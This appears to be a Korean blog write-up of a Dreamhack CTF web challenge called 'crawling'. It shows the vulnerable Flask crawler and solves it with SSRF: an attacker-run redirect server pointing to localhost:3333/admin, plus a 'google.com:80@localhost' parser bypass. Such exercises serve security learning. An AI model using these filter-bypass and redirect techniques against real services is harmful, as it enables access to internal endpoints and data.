본문 바로가기

Web Hacking/Dreamhack

[Dreamhack] crawling write up

 

 

서버에 접속해보자

 

코드를 보면

 

#app.py
from re import split
import socket
import requests
import ipaddress
from urllib.parse import urlparse
from flask import Flask, request, render_template

app = Flask(__name__)
app.flag = '__FLAG__'

def lookup(url):
    try:
        return socket.gethostbyname(url)
    except:
        return False

def check_global(ip):
    try:
        return (ipaddress.ip_address(ip)).is_global
    except:
        return False

def check_get(url):
    ip = lookup(urlparse(url).netloc.split(':')[0])
    if ip == False or ip =='0.0.0.0':
        return "Not a valid URL."
    res=requests.get(url)
    if check_global(ip) == False:
        return "Can you access my admin page~?"
    for i in res.text.split('>'):
        if 'referer' in i:
            ref_host = urlparse(res.headers.get('refer')).netloc.split(':')[0]
            if ref_host == 'localhost':
                return False
            if ref_host == '127.0.0.1':
                return False 
    res=requests.get(url)
    return res.text

@app.route('/admin')
def admin_page():
    if request.remote_addr != '127.0.0.1':
    		return "This is local page!"
    return app.flag

@app.route('/validation')
def validation():
    url = request.args.get('url', '')
    ip = lookup(urlparse(url).netloc.split(':')[0])
    res = check_get(url)
    return render_template('validation.html', url=url, ip=ip, res=res)

@app.route('/')
def index():
    return render_template('index.html')

if __name__=='__main__':
    app.run(host='0.0.0.0', port=3333)

 

우리가 입력폼에 url을 넘기면 공인 ip인지 체크 후 크롤링하는 사이트이다. 일단 넣어보자.

 

 

localhost:3333/admin으로 접근해보자.

 

 

역시 공인 ip 조회하는 부분에서 걸린다. 서버를 열고 내 ip를 넘겨주고 리다이렉트를 시키는 방법을 해봤다.

 

from flask import Flask, redirect

app = Flask(__name__)

@app.route('/')
def main():
    return redirect('http://localhost:3333/admin')

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=3333)

 

 

호우

 

다른 방법

 

1. url 형식을 ID, PW 넘겨주는 방법으로 작성하자.

 

 

즉, http://google.com:80@localhost:3333/admin으로 우회할 수 있다.위 도메인 네임을 가져올 때 :을 기준으로 파싱하기 때문에 google.com이 파싱되어 check_global을 우회하게 되며, 요청을 localhost:3333/admin으로 가게 된다.

 

이제는 저 id, pw 인증 정보 전달 방식을 지원하지 않기 때문이다.

 

 

2. url 단축

 

url 단축 사이트에 http://localhost:3333/admin을 넣어서 변경 후 변경된 url 전송.. 난 이거 안 되던데

'Web Hacking > Dreamhack' 카테고리의 다른 글

[Dreamhack] Dream Gallery write up  (0) 2024.04.26
[Dreamhack] filestorage write up  (0) 2024.04.26
[Dreamhack] file-csp-1 write up  (0) 2024.04.23
[Dreamhack] baby-sqlite write up  (0) 2024.04.22
[Dreamhack] chocoshop write up  (2) 2024.04.20